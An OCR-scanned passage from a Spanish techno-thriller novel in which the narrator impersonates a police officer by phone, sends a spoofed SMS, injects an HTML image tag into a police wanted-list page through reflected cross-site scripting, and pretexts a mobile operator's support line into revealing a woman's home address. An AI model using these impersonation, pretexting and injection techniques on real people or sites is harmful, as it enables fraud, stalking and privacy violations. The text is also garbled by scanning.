-Si. La poli. Ante todo, quiero dejar claro que esta llamada es extraoficial. En nin_gl’m
momento puede hablar de esta conversacion con nadie, porque podria poner en peligro
una investigacién en curso. ;Lo ha entendido?

—— i

-Pero... o sea, no entiendo nada... ;qué investigacioén?

-No puedo darle detalles, sefiorita. Como comprendera la policia no sugle compartir
informacién con personas ajenas a la investigacion, pero en este caso las circunstancias
me obligan a pedirle que extreme las precauciones.

-¢Precauciones? ;Qué precauciones?

-Preste atencitn, sefiorita, porque me estoy jugando el puesto con esto. Lo hago porque
1o dormirfa tranquila si le pasara algo y yo no hubiera hecho nada.

-En serio, me estas asustando con esta movida.
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-Mejor asi. El miedo salva vidas. En este caso le aconsejo que no tome a la ligera lo |
que voy a decirle ~Hice una pausa para enfatizar el dramatismo-: Sabemos que anoche
un individuo llamado Jaime contactd con usted en el bar “La Copa Dorada”. ; Cierto?
-8, (qué pasa con é1? ;Coémo saben que...?

-iNo hay tiempo para preguntas! —interrumpi, logrando que callara. A continuacién,
mantuve el silencio en la linea con el mismo propésito dramdtico-. Lo sabemos porque
llevamos varios dias siguiéndole los pasos. Tres agentes lo estaban vigilando mientras
usted coqueteaba con ese animal. El motivo del operativo es que estamos esperando
una orden de detencion para entregarle a las autoridades mexicanas. Pero hasta que no
llegue la orden, tenemos las manos atadas.

-iOrden de detencién! {Qué fuerte! ;Por qué...?

-Ya le he dicho que no puedo revelar datos de la investigacin. En realidad, ni siquiera
deberia estar hablando con usted. Quizés he cometido un error. ..

-jEspere! No puedes dejarme asi. Tengo derecho a saber lo que pasa.

-Tiene razén. Pero recuerde que esto es extraoficial. Le llamo porque mi conciencia me
lo exige. Si mis superiores se enteran de que me he puesto en contacto con usted, estoy
acabada. '

-Ya, vale, no diré nada. Solo dime qué pasa con Jimmy. i
i

-¢Jimmy? '
-La policia judicial de México —expliqué-lo busca por varias agresiones sexuales. Han
emitido una alerta internacional para conseguir su localizacion, ya que tras cometer
los crimenes huyé del pais. Mi grupo lo localizé en Madrid la semana pasada, y desde
entonces no lo perdemos de vista ni un momento, mientras esperamos que llegue la
confirmacién de su identidad y la orden de detencién. Es una mierda burocrética pero,
hasta que se resuelva, sus victimas potenciales estdn expuestas a un grave peligro. Es
por esto que me he visto obligada a avisarle a usted. El modo en que se acercé a su mesa
la otra noche recuerda mucho su “modus operandi”... Pero estoy hablando de mas.

-iAy, qué fuerte! O sea, ;qué voy a hacer? Le di mi nimero de mévil.

-Ante todo mantenga la calma, Miriam. Mi gente estd alerta las veinticuatro horas.,
Claro que en un operativo de vigilancia se pueden cometer errores, pero yo de usted
no me preocuparia excesivamente. Solo tenga en cuenta lo que le he dicho, y actie en:
consecuencia, aunque con normalidad.

-;Y sime llama? —pregunt6 alarmada-. ;Y si viene a mi casa? ;Y si...?

-iMiriam! —interrumpi-. Todavia no ha pasado nada. Si trata de contactar con usted,
adopte un tono educado pero firme, y rechace cualquier proposicién de citarse con él.
No diga nada que pueda ponerle sobre aviso, pero en ningiin caso le dé esperanzas. Si el!

sujeto no ve posibilidades de quedarse a solas con usted, perderd interés y buscard otra
victima. ;.o ha entendido?

-Si, si. Entendido. Ni loca quedo yo con ese pervertido.

-Bien, asi me gusta. Pero recuerde que esto tiene que quedar entre nosotras. Las mujeres
tenemos que ayudamos. Si la he avisado es porque durante la vigilancia vimos que el
sujeto y usted habian congeniado, y eso hizo saltar todas nuestras alarmas.

-Es verdad. Parecia un chico tan majo... Y ademds, tenia dos amigos gays. Eso demuestra
mucha sensibilidad, ;no crees?

-No se fie nunca de las apariencias —le adverti-. La justicia mexicana lo tiene en la lista
de los delincuentes mas buscados. Incluso consta en su pagina web. Le voy enviar el
enlace por SMS, para que vea que no exagero cuando le pido que se aleje del sujeto.

-No pienso verlo, tranquila.

-Y recuerde: esta conversacion no ha tenido lugar. Mi futuro y el éxito de la operacién
dependen ahora de usted.

-No te preocupes, no diré nada. Ah, y muchas gracias.

Colgué. Tal y como esperaba, habfa picado. Ya tenia la mitad del trabajo hecho. Solo faltaba
enviarle el mensaje de texto falso.

| Por desgracia, el mismo servicio no me servia para este proposito, ya que los nameros

especiales y cortos como el 091 suelen estar filtrados por motores antifraude en las
operadoras, y los proveedores de VoIP comprueban qué teléfonos se introducen.

No importaba",‘f;enia otro proveedor localizado para la parte del SMS que por los motivos
que fueran no hacfa la verificacién. Asi que, usando un viejo usuario que habia creado para
otras bromas, procedi a enviar el SMS falso con el siguiente texto: La Unidad de Delitos
Sexuales de la Policia le solicita introduzca la informacion correspondiente al delincuente
Jaime Gémez en: htip://bit.ly/OIH3PD.

La web que le mandé era una direccién especial. Tenia un fa!lo llamado “Cross—Si'te—
Scripting” que permite representar contenido en la pagina como si este fuera real. Este tipo
de vulnerabilidad, dependiendo de dénde se encuentre y como se explote, pue(_ie llegar a ser
bastante peligrosa, pero en este caso tan solo seria usado para burlarme de Jaime.

Generalmente el Cross-Site-Scripting (XSS) es usado para ejecutar javascript en el
navegador, permitiendo control total sobre el mismo. Las p051b111dad§:s de esto son infinitas:
1obo de credenciales, redireccion a otras paginas, registro de pulsaciones del teclado. ..

Lo primero que hice antes de llamar a la chica fue localizar unas cuantas p,éginas de pa1’se§
hispanos donde hubiera listas de delincuentes buscados. Cuando acumulé una decena fui
probando hasta encontrar una de ellas con este tipo de error. Para detectarlo, insertaba texto
en las variables de la URL que aparentemente podian estar dibujandose posteriormente
en el navegador. Es decir, si la direccion era: http://www.policias.mx/masbuscados.ph
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p?nombre=Manuel+Sanchez+Gomez, yo iba probando a cambiar el nombre por otro y |
comprob'flba si se mostraba el que yo habia escrito. Si esto era asi, el siguiente paso era
probar a insertar una etiqueta HTML, como <IMG>, utilizada para afiadir una imagen. Asi | ‘ £ i
que, tras el nombre, le indiqué que cargara una foto que subi al propio servidor. Esto dejé o R e
un resultado similar a: htip://www.policias.mx/masbuscados.php?nombre=Jaime+Gomez g e
+Berrocal<img src=http.//www.unsec.net/jaime. jpg>.

La unidad de delitos

seguales de la Palicia le
solicita introduzea la
informacion conrespondiente
al delincuente Jaime Gomez |
en: http://bit lp/0H3FD

& continuucién escribe los datos que desees proporcionarnos |
ayuden a encontrar a: ]
JAIME GOMEZ BERRDCAL
= rad et na

e L
o

Tu Correo Electrdnico
(opcional)

!
|

Img 30: Pigina web de policia con Cross-Site-Scripting mostrando a Jaime.

Me aseguré de que el codigo HTML insertado mediante el “Cross-Site-Scripting” era
correcto y correspondia a lo que yo habia introducido, viendo el cddigo fuente de la pagina.

| =
I 90 <td aligm=“center™>

‘1I 9| A continuacién escrike los datos que
; | desees proporcionarnos y que nos ayuden a enconcrar a: <br>

B  Enviar mens Baorrar formulario

e e S : =t f g <br>
Img 29: Servicio para el envio de SMS falsos. 94| <lsbel style=rcolor:blue;size:4;"
>JAIME GOMEZ BERROCAL<BR><ING
Siempre que tengo que hacer pruebas con el navegador acabo usando Firefox, ya que con: : SRC=HTTE://WUU2 . NSEG .NET/R. JPG></ Labe 1><br>
sus extensiones es mucho mas util que cualquier otro. Como en este caso, que Hackbar! :;5 <p id="parrafolon”
me permiti6 toquetear rapidamente los valores de los pardmetros sin tener que avanzar y e ian- Shes, oy = KRR ESMSSRCSEE
retroceder por la barra de la direccién incomodamente. : g:xnn:oc.i:w;:q;G S:E=H§'T‘P:/,/IWU2 .UNSEC.NET/R.JPG>"> </p>
a7
Para que quedara més bonito, afiadi un retorno de carro tras el nombre, usando la etiqueta us_l ' <textarea nane="aatosPersona’
<BR>. Finalmente, acorté la URL con un alias en el servicio de bit.}y, de tal forma qu 'if;ﬁi‘ifsffiiffl fil’ilfﬁ?éé’;ﬁ ;
cupiera en el mensaje de texto y no viera nada sospechoso en la URL. ' onblur="longitud_xta (this, 2000 ;"
. onkeypress="return(soloAlfanumericos (event}) ; "></textarea>

Img 31: Cédigo fuente de la pagina de la policia con la etiqueta IMG SRC incrustada.
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Terminé el asunto con una sonrisa ladina en los labios. Sin embargo, al ver la hora que
marcaba el reloj en la barra de tareas del Windows, frunci el cefio.

Yolanda ya deberia haber contestado mi mensaje. La solitaria aspa verde me informaba que
ni siquiera lo habia leido. Aquello no tenia ningiin sentido. Cuando me entrego el archivo

para que lo descifrara, parecia un caso de vida o muerte; ahora que yo lo habia hecho, ni
siquiera lefa mis mensajes.

Marqué su niimero cediendo a un impulso repentino. Quiz4 se hubiese olvidado de mirar el
Whatsapp y esperara una llamada. La posibilidad de hablar con ella me alter6 un poco los
nervios, pero fui desaniméndome con cada tono hasta que saltd el buzén de voz.

Esta vez si dejé un mensaje. En €] informaba con voz neutra que habia finalizado el encargo
con €xito. Terminé con un patético “lldmame, por favor”. Recliné el asiento y me deleité en
la contemplacién del techo. Tras un buen rato, seguia sin encontrar alli nada emocionante.

s s
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Ppara aligerar el tiempo, pensé en ponerme al dia con el correo. Abri el mail, donde ensegu_ida
destacO un mensaje sin leer de Juanjo Rivas. Una vez mds, mi jefe me recordaba la regmén
del lunes y mi obligacién de tener todo listo para la misma. Habia una_postdata escrita en
mayusculas, con caracteres mayores que €l resto y resaltados en negrita, entre signos de
admiracion: “LLEVA TRAJE. NADA DE SUPERHEROES!”.

Los otros correos eran basura y como tal los traté. La limpieza y ordengcic’)n de las diferent§§
bandejas me llevd sus buenos tres cuartos de hora, durante los que mi teléfono permanecio
silencioso como el cadaver de un mudo. Comprobé sus constantes vitales, pero no era culpa
de la bateria: la barra superior me informé que estaba al setenta y dos por ciento.

La espera me estaba volviendo loco. Me record¢ los afios d@l instituto, cuando amenazaba a
mis padres para que mantuvieran la linea desocupada por si Yolanda me llamaba. Entonges
me quedaba mirando fijamente el enorme teléfono del salon, con la esperanza de que, si 1’0
hacia durante el tiempo suficiente, aquel acabaria por sonar y, cuando fmal_mente lo hacia
con un sonido de campana estridente, me abalanzaba sobre €l y lo hacia’ sin descolgarlo,
hasta que sonaban tres o cuatro tonos, y luego me llevaba el aupcular al oidoy prc?gul;taba
quién era con la mayor de las indiferencias. Nueve de cada diez veces, respondia airado
que se habian equivocado y pedia que no volvieran a llamar. La décima, saltabfil de alegria
y lanzaba el pufio al aire mientras fingia que estaba muy ocupado, pero que haria un hueco
para salir un rato.

Un largo suspiro vino a poner fin a tan dulce evocacion. Y otra vez la contemplacién de
la hora volvié a amargarme el momento. Ms preocupado que enfadado, marqué una vez
més el niimero que ya conocia de memoria. Conté los tres primeros tonos, sabiendo que al
cnarto saltaria el buzén de voz.

En esta ocasion, deseché el tono vago para pasar directamente al ang_ustiado: “Estas bien.
¢Por qué no respondes? Si he hecho algo que te haya mgles}ado, lo siento mucho, pero no
sé que es. Por favor, lldmame. Solo quiero saber que estas bien. Si no quieres verme, por la
1az6n que sea, solo dimelo. Te devolveré tu archivo y no te molestaré mas. Pero no me dgjes
ast, por favor”. El buzén de voz no me respondid. Ni siquiera estaba seguro de que hubiera
registrado todo lo que dije, pues colgué en cuanto comprendi que empezaba a parecer un
vulgar acosador.

Hello Kitty seguia conectada. Una traicion repetida parecia menos traicion, asi que le c?ché
Otro vistazo al contenido del PDF. El documento era més extenso de lo que habia apreciado
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enuna primera y somera lectura, pues a las tablas de contabilidad se unian varios documentos! 3 cualquier rompecabezas. Era un proceso objetivo que raras veces fallaba. Cuando esto
que reflejaban trasferencias de depésitos, ingresos en cuentas numeradas y érdenes de ocurria, solo quedaba echar mano de la imaginacion.

pago. En definitiva, p'arecia un reglstr.o muy minucioso de movimientos de dinprO; ninguna'; siguiendo este modelo, recopilé toda la informacién que conocia sobre Yolanda,
r§velac1_on para alguien que no hubles,e pasado por la fagultad de Econdmicas, aunqueil' despreciando la obsoleta. Volvi a recorrer las redes sociales que frecuentaba, anotando e
si suficientemente sospechoso. No cabia duda de que era importante para Yolanda; pero, interiorizando cada detalle: los nombres de sus contactos, dénde habia estudiado la carrera,
entonces, /por que no contestaba al teléfono? ' Jugares en los que se habia hecho fotos, las cosas sobre las que habia pulsado “Me gusta”,
La tarde anterior se marchd de una manera extrafia y precipitada. Al recordarlo de nuevo,. con quién intercambiaba tweets y, en definitiva, cualquier dato que ‘me pudiera conducir
me asaltaron los temores mas peregrinos. Y luego estaba el asunto de su hermano. g,Qué% hasta ella. Pero, pese a que llegué a conocer muchos aspectos de su vida personal, ninguno
habia querido decir con que habia desaparecido? gervia a mi propdsito.

Imaginé una variedad de motivos razonables para su falta de respuesta, pero ninguno El dato de mayor utilidad, y cuya vigencia era incuestionable, consistia en su nimero de
Justificaba esa transicién del interés desmesurado a la mdas absoluta indiferencia en tan teléfono. Medité durante un rato qué podia hacer con €l.

breve plazo, sin suponer al mismo tiempo que algo grave le habia ocurrido. Lentamente, una idea empezo a nacer en mi cabeza.

Deseché toda teon’la sinig:stra para centrarme en la consideracion de algunas mas alentadoras, Se me ocurri6 que podria conseguir su actual direccién del operador de telefonia mévil.
a ﬁn_ dg: aplacar mi creciente ansiedad: un asunto de trabajo, una urgencia familiar, un viaje para ello, echarfa mano de mis conocimientos en el campo de la ingenieria social.

precipitado, el extravio del teléfono, un robo... Sin embargo, en todos esos casos podrial i . . . . s .
haber encontrado la manera de avisarme. No explicaban su silencio. ;Un suefio profundo?’ Empecé accediendo N la pagina de la CMT para consultar la numeracion mQV}l- Medlan‘Fe
No a esa hora de la mafiana y después de dos llamadas. ;Una pérdida de interés en e]| esta web, dando un numero se puede descubrir la operadpra que ofrece el servicio. Introduje
archivo? No parecia probable. ;Una repentina aversion hacia mi? No, si yo la conocial los datos y obtuve la respuesta: France Telecom, es decir, Orange.
como creia.

Mi mente no era capaz de dar con la solucién al misterio sin recurrir a las especulaciones|
mas soérdidas. No habia otra explicacion: ella debia de encontrarse en una situacién
desesperada; y esta conclusion me llené de temor.

Ya no podia quedarme de brazos cruzados. Habia pasado toda la mafiana esperando y, a
esas horas, estaba claro que no me llamaria. Necesitaba saber por qué. Si, como suponia,
se encontraba en apuros, yo tenia que hacer algo al respecto. Estaba dispuesto a cualquier

| iR ¥ POMicye > Mimrracidn- : = y
1 2 ia si i “ 3 ¥ ‘Soicitud ve T Cortrol Arial | Canstite Numeracion T Consitte Nurieracide |
cosa por ella. Pero, ;cual seria siguiente paso? v | perpcs] ~Semestral | Movd ! Fio |

No sabia donde acudir. ;La policia? Estaba descartada. Me tomarian por un perturbado s; Reigliplngy® Infbimis
acudia a comisaria a denunciar la desaparicion de una persona adulta, a la que habia vista  ocumuites de Rafecuncia |
el dia anterior después de mucho tiempo, por la simple razén de que no contestaba mié =
llamadas. La historia no sonaba nada bien. Me echarfan del edificio o acabaria en una sald

Consulta Numeracion Mavil

| MNumgracian
de lnterrogatorlos' Cualqulera de las dOS Op CIONCSNONNG agradaba. A - :l:rl - Introduzca un nimero de movil y podré obtener el operador actual el Gue pertenece
LFamlhareS? ZJAInlgOS? NO conocia a nadle,de S’u Clrculo cercano a qulen p Oder p regu"nt _I| = La consuits se realiza sobre [os detos recogidos por ta A O PM (Asociecidn de Operadores pera fa
Aparte de unas cuantas vaguedades que habia leido en su perfil de Facebook, poco sabia de ety

ella que no se remontara al instituto. Eso me entristecié mucho, pero enseguida espabilé ¥,
me puse a pensar en ¢l paso siguiente. No habia tiempo para la nostalgia. ’

o - *nimero  [E2023078

Resuliada de Ja consulta del nimero: 62023019

¢Qué mas tenia? Tenia un misterio que debia resolver. Traté de enfocarlo con serenid Sperocr s FRANCE TELECOM ESPARA, 5.4, UNPERSONAL

como si no me afectara personalmente. En mi trabajo siempre seguia una pauta p
solventar las diferentes dificultades que surgian. Se trataba de un método que me ayudab s N TS S Rt i (e e
a obtener, analizar y relacionar la informacién de que disponia para encontrar la soluci Tmg 32: Servicio de la CMT para averiguar el operador de un numero de mé
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El siguiente paso fue googlear el teléfono de atencién al cliente y llamar para tantear hasta | Con ocho o nueve llamadas a mis espaldas, que no dieron el fruto esperado, replante¢ mi

dénde podia llegar.

Las primeras veces traté de ser amable y despistado, siempre con la finalidad de sonsacar a
la operadora la direccién donde se enviaban las facturas:

-Buenas tardes, mi nombre es Susana, ;en qué puedo ayudarle?

-Buenas, llamaba para verificar la direccion, ya que hace dos meses que no me llega
ninguna factura.

-De acuerdo, ;puede facilitarme el niimero y DNI del titular?

-Es el teléfono de mi novia, el nimero es seis veinte, doscientos treinta, diecinueve.
-Perfecto, necesito el DNI y el banco donde esta domiciliado el recibo.

-jAh! Es que el nimero de DNI no lo tengo ahora mismo.

-Lo siento, en ese caso deberd llamar cuando 1o tenga.

-Gracias.

-Gracias a usted, le pasamos con una encuesta de calidad. Solo le llevara unos minutos. |

(Encuesta de calidad? No gracias.

Esta misma estrategia la intenté repetidas veces, reinterpretando mi papel de “chico

77 <6

simpéatico” y adoptando otros como el de “chico desagradable”, “chico ayudame-porfa-

please”, “chico paseme con su supervisor”, pero siempre acababa en el mismo punto.
Requerian el DNI del titular y sin €] no habia forma de progresar.

Los trabajos de ingenieria social no eran muy comunes en Epica, pero muy de vez en cuando
alguna gran compafifa queria conocer cudnta informacién se podia sacar, o si un usuario
podia suplantar a otro tan solo engafiando a los operadores de los centros de atencion al|
cliente. Mi experiencia era limitada, pero sabfa que era cuestion de insistir y probar hasta:
dar con la frase y el empleado adecuado. !

Nommalmente, este tipo de llamadas tan solo se usan para obtener los correos electrénicos:
o teléfonos méviles de personal VIP muy concreto, al que posteriormente se le hace llegar

algtin tipo de malware en algin documento ofimético como Word, Powerpoint, PDF o ,L

incluso directamente ejecutables. Estos bichos, una vez infectan al empleado, proveen de:

acceso a la compaiifa y, con ello, a sus datos. Esta vez, no necesitaba més que una direccion,
asi que volvi al teléfono y me puse manos a la obra. ;

Después de tres llamadas, una de las operadoras me insinué que habfa llamado varias vecesf
seguidas, asi que opté por seguir haciendo pruebas facilitando al buzén automatico de voz
o IVR (Interactive Voice Response) otros niimeros de mévil, de tal forma que no fueran:

capaces de detectar mi insistencia.

estrategia y comencé a pensar en un modo indirecto de conseguir la direccion.

-Buenas tardes, mi nombre es Lucia, jen qué puedo ayudarle? — me pregunt6 la nueva
operadora como todas los anteriores.

-Hola Lucia.
-Buenas tardes. ;Cuél es el motivo de su llamada?

_Veras, Lucia, mi hermana tiene un teléfono de la edad de piedra, y queria canjear los
puntos por un nuevo terminal, de esos modernos, y regalarselo por su cumpleafios.

-;Puede darme el nimero de teléfono, sefior?

-Si. Seis, veinte, doscientos treinta, diecinueve. Pero no me llames sefior, que soy
todavia muy joven.

-A nombre de Yolanda Diaz, ;verdad? —pregunt6.

Habia cometido su primer error al darme esa informacién.
-Si, es mi hermana.
-Tiene doce mil trescientos puntos. (Qué terminal desea?

-Pues queria la nueva Blackberry y pagar la diferencia. Me la envian al domicilio
antiguo, ;verdad? No sé si mi hermana ha cambiado ya la direccion.

Crucé los dedos, esperando que la treta diese resultado.

-La direccign que nos consta es calle de la Corte del Escriba, 3, 2° A. ;Quiere que lo
enviemos a otra direc...?

Colgué. Cuando tienes un iPhone como yo, no necesitas una Blackberry.

Apunté los datos que me facilit6 la operadora en un posit. Ahora podria investigar sobre
el terreno. Me guardé la hoja amarilla en un bolsillo y a Hello Kitty en el otro. De camino
hacia la puerta, recogi las llaves, la cartera y el movil. Antes de salir, int.enté llamar’a
Yolanda de nuevo, pero al tercer tono colgué sin esperar a escuchar 1a locucidn del buzén
de voz.

Con la mano ya en €l pomo, me detuve. Tras unos momentos de vacilacion, volvi sobre
mis pasos, de regreso a la habitacion del fondo. Saqué el pendrive y lo conecté de nuevo
mientras deliberaba sobre lo que estaba a punto de hacer.

Si Yolanda estaba en casa, deberia entregarle el archivo, y era posible que se negara a
darme ninguna explicacién a cambio. Yo necesitaba saber en qué estaba metida y, st no
me lo contaba, tenia otro modo de enterarme. Sin embargo, suponia una barrera moral que
10 me decidia a traspasar. Claro que la tentacion habia nacido en el mismo momento en
que me entrego la memoria y me explicé lo que queria, pero hasta ahora habia conseguido
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vencerla recurriendo a mis principios y sentido de la amistad, a pesar de la curiosidad que
me habia despertado su secretismo.

Me encontraba ante una terrible disyuntiva: podia permanecer fiel a sus deseos, esperar
que apareciese y ella misma me contara qué ocurria o, por el contrario, intentar descubrir la
verdad por mi mismo y asi estar en disposicién de prestarle mi ayuda. Decidi que, al no dar
sefiales de vida, ya no se trataba de ser leal a una amiga, sino de encontrarla y protegerla si

fuese necesario. Me justifiqué pensando que el mismo sentido de la amistad, que antes me |

impedia traicionar su confianza, ahora me impulsaba a obrar como lo hice.

Me puse a trabajar con el pendrive. Media hora mas tarde, salia de casa con él en el bolsillo.

s
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Cuando la puerta se cerré con un golpe sordo, yo ya me precipitaba escaleras abajo.
Caminaba deprisa tanto para acercarme a mi destino como para alejarme del sentimiento
de culpabilidad que me perseguia. A pesar de mis justificaciones, sabia que lo que habia
hecho estaba mal, tanto legal como éticamente, y aunque Maquiavelo aprobaria mis actos

' con una sonrisa de reconocimiento, muchos otros filésofos me mirarian con ojos severos y

me condenarian al infierno, recorddndome que el fin no justifica los medios.

El infierno lo encontré en el exterior, bajo un sol de justicia que expulsaba a los sensatos de

| a calle. Como no me encontraba entre los de esa categoria, el trayecto hasta el coche me

pareci6 una expedicion. Llegué sofocado por el calor y la carrera en que habian terminado

| mis pasos precipitados. El interior del vehiculo era una sauna después de haber pasado toda

la mafiana al sol, ardiente como el aliento de un dragén. El aire viciado solo me permitid
respirar cuando consegui abrir ambas ventanillas, y aun asi las fosas nasales me quemaban.

En esas condiciones, tomé la A-5 hacia Madrid y luego la salida de la M-40 sentido A-4.
El camino se convirtié en una tortura fisica y psicologica. El asiento se me pegaba a la
espalda, las manos me sudaban al contacto con el volante y los rayos del sol me abrasaban
el lado izquiercio de la cara y el cuello. Temia acabar como Dos Caras. Aun asi, lo peor eran
los remordimientos y la creciente preocupacion que sentia.

Por si fuera poco, el navegador del mdvil me equivocé al no indicarme la salida correcta,
mandarme luego por direccion prohibida y meterme por un tramo cortado por obras. Tras
varias vueltas innecesarias y una flagrante infraccion de trafico, al realizar un cambio de
sentido indebido, finalmente encontré el bloque donde mi amiga tenia su residencia, en el
barrio de Villaverde.

Estacioné cerca del portal, al otro lado de un parquecillo donde varios jovenes malca-rados
bebian latas de cerveza. La entrada se embutia entre un bar mugriento, con tres clientes
alin mas mugrientos en su interior, y una tienda de piercing y tatuajes, que se encontraba
cerrada. No era un lugar para formar una familia y criar a los hijos, pero ¢cuadl lo era en
este mundo?

Yolanda vivia en el segundo A. Apreté el timbre del portero autométicq una vez. Esperé
¥ volvi a apretar durante cinco segundos. Estaba claro que no habia nadie en casa. O que

nadie queria abrir.

Me volvi hacia 1a calle con las manos en los bolsillos, meditando mi siguiente paso. Los
Jévenes del parque me observaban como si fuera una presa suculenta. Eludi sus ojos




Hacker Epico '

Capitulo VIII: Vacio

_ KGR

acechantes ddndoles la espalda y apretando los botones de todos los pisos, con la esperanza
de que alguien se aviniera a abrir la puerta y contestar las preguntas de un extrafio.

Habia elaborado una historia para acceder al portal en caso de no encontrar a Yolanda en
casa, del mismo modo que apliqué mis conocimientos de ingenieria social para averiguar
su domicilio. Estaba seguro de mis capacidades cuando el altavoz tron6 con la voz de uno
de los residentes:

-¢Quién cofio es?
-Disculpe la molestia —me excusé, sorprendido por la groseria-. Tengo un paquete para

la inquilina del segundo A. Me viene como urgente y parece que ella no estd en casa. S1
fuera tan amable de abrir el portal. ..

-(Ami qué me cuenta, amigo? Entre si quiere y déjeme en paz. La puerta no cierra desde
hace afios.

Tomé el fuerte clic que sali6 del altavoz como indicativo de que mi interlocutor deseaba dar
por concluido nuestro didlogo. Con cara de idiota, empujé la puerta del portal, que se abrié
sin ninguna resistencia. Algo perfectamente logico si se atendia al hueco vacio que ocupaba
el lugar de la cerradura. En mi analisis del problema, me habia fallado 1a observacion.

El ascensor no me daba mucha confianza, después de mi experiencia con la puerta, asi que |
subi al segundo piso por las escaleras. Una vez arriba y viendo el estado de los peldaiios, |
todavia me preguntaba como era posible que el portero automatico funcionase.

La puerta del piso A se encontraba a la derecha del rellano, junto a la del piso B. Llamé al
timbre del A una vez. Dos veces. Tres veces. Nada. Luego una vez mas.

La puerta del B se abri6 de golpe y por el hueco asom6 un rostro decrépito. Apenas pude
contener un alarido, pero la anciana que salié no hizo caso de mi espanto. Se limitd a
amonestarme por hacer tanto ruido.

-Deje de tocar el timbre, jlefie! Se oye a través de las paredes y es hora de siesta.
-Disculpeme, pero estoy intentando localizar a su vecina. ;La ha visto hoy?

-{Qué vecina ni qué nifio muerto? —exclamo ella-. Yo solo quiero que me dejen dormir
la siesta.

-Perdone que insista, pero se trata de un asunto urgente. Solo quiero saber si la ha visto
esta mafiana.

-Esa muchacha nunca me ha gustado —me dijo, en tono de confidencia-. Va mu}'
descocada. Ninguna mujer decente sale de casa con esas faldas tan cortas. |Y vive solal’
Deberia tener méas cuidado.

i

-Entiendo. Se lo diré yo mismo cuando la vea. Pero volviendo al otro asunto, ;sabe §
ha pasado por casa?

La anciana lo pensé durante mas de un minuto. \

-Si —contestd, cuando ya perdia la esperanza-. Anoche la vi entrar a eso de las diez. Y
de madrugada hizo mucho ruido. Parecia que arrastrara todos los muebles de Ia casa.
Estuve a esto —hizo un gesto juntando el pulgar y el indice hasta que casi se tocaron-de
llamar a la policia. Después me han dejado tranquila, jhasta que ha llegado usted!

-Le vuelvo a pedir disculpas, yo...

No pude terminar la frase porque la mujer me dio con la puerta en las narices. Me quedé
plantado en el descansillo, agotadas todas mis opciones.

Consideré¢ la idea de aguardar ante la puerta por si Yolanda regresaba, pero la desestimé
de inmediato. Si permanecia alli sin motivo aparente, la anciana u otro vecino no tardarian
en llamar a la policia. Tampoco queria esperar abajo; eso pondria las cosas féciles a los
gamberros del parque.

Observé la puerta por tlltima vez. Si hubiera sido un espejo, me habria devuelto la imagen de
la desesperacion. Por la mirilla salia un haz luminoso que atravesaba el oscuro descansillo
como un rayo laser. Acerqué el ojo a la abertura con la esperanza de vislumbrar el interior,
pero solo se apreciaba una claridad borrosa. Pegué, todavia més, la cara contra la puerta

|y, para mantener el equilibrio, apoyé las manos y todo mi peso sobre ella. Se abrié con un
| chasquido y yo me precipité de bruces al interior.

|
i

Me levanté sorprendido, sacudiéndome las ropas y mirando alrededor. Me encontraba al
inicio de un pasillo que se extendia a la derecha, con una puerta a la izquierda y otra al
fondo.

Observé la entrada. Habia cedido con solo apoyarme en ella. Entonces vi las marcas de
palanca en el marco, destacando claramente en la madera. Alguien habia forzado la puerta
y la habia vuefto a cerrar para ocultar el allanamiento. Un escalofrio recorrié mi espalda.

-¢ Yolanda? —dije, atenazado por el miedo.
Silencio.

Sin pensar en lo que hacia, avancé por el pasillo. La puerta de la izquierda proyectaba un
marco de luz. Me asomé por ella a la cocina. La estancia era pequefia, con una ventana por
la que se colaba la claridad de la tarde, y estaba vacia. Unos pocos platos sucios esperaban
que alguien los fregara. Fl resto de los muebles y enseres parecian en perfecto estado de
orden y limpieza.

Continué hacia el fondo. La puerta estaba cerrada, pero un cristal traslicido en el centro
permitia entrever el salén al otro lado. A medida que me aproximaba, escuchaba un
creciente sonido de martillo contra yunque, como si un herrero estuviera forjando una
espada, pero se trataba de los latidos de mi corazén, cada vez mas acelerados. Al llegar,
eché un répido vistazo a través del cristal. Lo vefa todo deformado. No podia asegurar que
nadie me esperaba al otro lado.
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Giré el pomo y empujé la puerta muy despacio, solo lo suficiente para abrir una rendija y
asomar un ojo. Los muebles estaban movidos, sus puertas abiertas y los cajones sacados de

sus huecos, con el contenido desparramado por el suelo. El relleno del sofa se veia a través |

de la tela rasgada. Un cuadro yacia sobre la alfornbra, con el cristal del marco roto.
-( Yolanda?
La angustia convirtio el llamamiento en un susurro.

Mi cerebro me ordenaba salir de alli zumbando y avisar a la policia, ya que todo parecia
indicar que alli se habia cometido un delito. Ademas, los autores atin podrian estar dentro

de la casa. Pero también era posible que Yolanda necesitase ayuda urgente y yo no estaba !

dispuesto a denegarsela por miedo.

Solo me habia encontrado en circunstancias parecidas durante mis partidas del “Call of
Duty”, cuando tenia que penetrar en una habitacién y sospechaba que varios “tangos” me
recibirian a tiros nada mas cruzar la puerta. En aquellas ocasiones, sabia qué hacer, pero.
ahora no disponia de granadas “flash” ni de un M-16, y tampoco podria reiniciar la partida |
si me equivocaba. A pesar de todo, reuni el valor suficiente y empujé la puerta. Se abrié
con un chirrido siniestro. }

Me asomé y barri el salén con la mirada. Cuando estuve seguro de no tener compaiiia,
me aventuré a franquear la puerta. Al frente, un ventanal abierto daba paso a un pequefio
balcén. El viento agitaba las cortinas y les daba apariencia de espectros. La tapiceria de
un sillén volcado habia sufrido 1a misma suerte que la del sofa, otro cuadro tenia el marco
destrozado y varios libros habian sido abiertos y arrojados de cualquier manera desde las
estanterias. En el ultimo angulo, a la izquierda de la entrada del salon, encontré otra puerta,
No podia ver hacia donde conducia porque estaba entornada.

Mis pasos resonaron con ruido de cristales rotos al acercarme temblando como un flan.
Mi avance inseguro delataba el miedo que sentia. Me asaltaban terribles visiones de
anticipacién sobre lo que me encontraria, pero las espanté todas con una sacudida de
cabeza. La puerta se abria hacia el interior en un arco hacia la izquierda. El hueco con la
jamba solo me permitia ver una delgada columna a la derecha en la que se adivinaba p .
de una cama con las sdbanas revueltas. ;

Tragué saliva para afianzar mi resolucién. Si habia alguien en el interior, querié
desconcertarlo con una entrada a lo Hulk. Conté hasta tres e irrumpi con una patada a I
puerta y un rugido dignos del hombre verde, resoplando y lanzando miradas amenazantes
a uno y otro lado, los pufios en alto en medio de la habitacion.

La persiana estaba bajada, pero la luz que se filtraba desde el salon exponia cada una de las
esquinas. Esa habitacion también estaba vacia.

La seguridad de no encontrar amenazas y un extrafio sentido del ridiculo me devolviero
a mi anterior estado humano. Ahora sabia cémo se sentia Bruce Banner cuando la furl
remitia. Respiré aliviado y me concentré en reducir las pulsaciones por debajo del riesg!

